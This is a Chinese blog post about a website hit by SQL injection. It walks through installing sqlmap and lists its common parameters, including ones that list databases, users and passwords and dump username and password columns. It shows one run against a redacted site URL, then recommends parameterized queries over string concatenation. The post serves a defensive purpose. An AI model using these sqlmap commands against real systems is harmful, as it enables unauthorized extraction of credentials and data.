站点SQL注入问题分析及解决

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了站点SQL注入问题分析及解决相关的知识,希望对你有一定的参考价值。

1、问题:网站被SQL注入,可以看到使用库、表、及数据情况

2、解决:前后端加固,同时底层Sql查询一定要使用参数化

注入分析使用工具:sqlmap

一、安装sqlmap工具

1、在安装前,需要先安装Python环境, 安装参考:http://blog.csdn.net/baigoocn/article/details/51456721 上面有说明

2、下载sqlmap工具包,将文件放在Python环境的安装目录下的sqlmap目录中, 

     输入sqlmap.py -h,查看信息提示安装成功

3、常用的参数

      -u:指定注入点url

     --dbs:dbs前面有两条杠(所有数据库名称)

     --current-db  web当前使用的数据库

     --current-user   web数据库使用账户

     --users    所有用户

     --passwords   数据库账户与密码

     -D tourdata --tables     -D:指定数据库名称    --tables:列出表

     -D tourdata -T userb --columns    -D:指定数据库名称   -T:指定要列出字段的表   --columns:指定列出字段

     -D tourdata -T userb -C "email,Username,userpassword" --dump   -C :指定要暴的字段  --dump:将结果导出 

           --start 1 --stop 10    指定导出特定范围的字段内容  --start:指定开始的行  --stop:指定结束的行

  (参考:http://blog.csdn.NET/zgyulongfei/article/details/41017493 )

--current-db    --current-user

技术分享

D:\Python27\sqlmap>sqlmap.py -u http://xxx.com/cms/xxx_view.aspx?cpn_id=fb509dacdd224a179fde6e71e824ec95 --current-db

技术分享技术分享

--users

技术分享

-D FJHBA --tables

技术分享

还有通过更多的参数,来获取到相关的信息内容

从以上的操作来执行,等同于数据就完全被查了,这个很危险!

在写任何sql语句时,不允许使用拼接的方式!

技术分享

技术分享

这种写法存在注入的风险

技术分享select * from tableA where col1 = ‘+ colId +‘;


要改用参数形式:parameter



本文出自 “FROG清” 博客,请务必保留此出处http://wuxueqing.blog.51cto.com/13389311/1973704

以上是关于站点SQL注入问题分析及解决的主要内容,如果未能解决你的问题,请参考以下文章

怎么检测网站存在注入漏洞 防注入都有哪些解决办法

javaWeb安全漏洞修复总结

SQL注入原理及代码分析

sql注入问题-简易登录模型分析和解决方案

Mybatis-Plus的应用场景及注入SQL原理分析

TP5 框架 SQL 执行流程分析及 5.0.9 SQL 注入漏洞分析